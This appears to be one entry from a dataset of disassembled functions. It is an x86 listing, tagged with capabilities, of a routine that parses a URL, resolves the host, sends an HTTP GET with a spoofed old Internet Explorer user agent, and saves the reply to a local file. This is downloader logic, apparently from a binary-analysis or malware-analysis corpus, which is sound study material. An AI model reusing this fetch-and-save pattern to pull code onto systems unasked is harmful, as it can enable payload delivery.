Function at 0x402200
Capabilities:
Access peb ldr_data
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x4108d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x10]
mov dword [esp + 0x48], 0
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x30]
lea ecx, [esp + 0x10]
push eax
lea edx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x58]
lea eax, [esp + 0x3c]
push edx
push eax
push ecx
mov byte [esp + 0x5c], 1
call sub.MFC42.DLL_AfxParseURL
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x10]
mov bl, 2
xor esi, esi
xor edi, edi
mov ecx, dword [eax - 8]
mov byte [esp + 0x48], bl
test ecx, ecx
jle 0x40239b
mov al, byte [edi + eax]
cmp al, 0x3d
mov byte [esp + 0x1c], al
jne 0x4022b7
lea edx, [esp + 0xc]
push 0x3d
lea eax, [esp + 0x24]
push edx
push eax
mov esi, 1
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 3
call sub.MFC42.DLL_CString::operator_1
mov byte [esp + 0x48], bl
lea ecx, [esp + 0x20]
jmp 0x402388
cmp al, 0x26
jne 0x4022f3
cmp esi, 1
jne 0x40235d
lea ecx, [esp + 0xc]
push 0x26
lea edx, [esp + 0x28]
push ecx
push edx
xor esi, esi
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 4
call sub.MFC42.DLL_CString::operator_1
mov byte [esp + 0x48], bl
lea ecx, [esp + 0x24]
jmp 0x402388
cmp esi, 1
jne 0x40235d
lea ecx, [esp + 0x50]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x50]
and eax, 0xff
mov byte [esp + 0x48], 5
push eax
push str.___02X
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push edx
push eax
push ecx
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 6
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x28]
mov byte [esp + 0x48], 5
call sub.MFC42.DLL_CString::CString
mov byte [esp + 0x48], bl
lea ecx, [esp + 0x50]
jmp 0x402388
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0xc]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 7
call sub.MFC42.DLL_CString::operator_1
mov byte [esp + 0x48], bl
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x10]
inc edi
cmp edi, dword [eax - 8]
jl 0x40227a
lea edx, [esp + 0xc]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::operator_1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402485
mov ecx, dword [eax + 0xc]
lea edi, [esp + 0x50]
mov esi, dword [ecx]
movsx ecx, word [eax + 0xa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00403450
mov ecx, dword [esp + 0x30]
push 0x1e
and ecx, 0xffff
mov byte [esp + 0x4c], 8
push ecx
push esi
lea ecx, [esp + 0x44]
call fcn.00403520
test eax, eax
jne 0x402478
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x20]
push str.GET__s_HTTP_1.1_r_nHost:__s_r_nAccept:___r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.01__Windows_NT_5.0__r_nPragma:_no_cache_r_nCache_Control:_no_cache_r_nConnection:_close_r_n_r_n
push ecx
mov byte [esp + 0x58], 9
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x28]
add esp, 0x10
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x40]
call fcn.004034c0
mov edx, dword [esp + 0x54]
push 0x416034
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4024cb
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov byte [esp + 0x48], bl
call fcn.00403480
lea ecx, [esp + 0xc]
mov byte [esp + 0x48], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x48], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x48], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
add esp, 0x40
ret 8
push esi
lea ecx, [esp + 0x3c]
call fcn.00403640
push esi
mov edi, eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov byte [esp + 0x48], bl
call fcn.00403480
lea ecx, [esp + 0xc]
mov byte [esp + 0x48], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x48], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x48], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x40]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x40
ret 8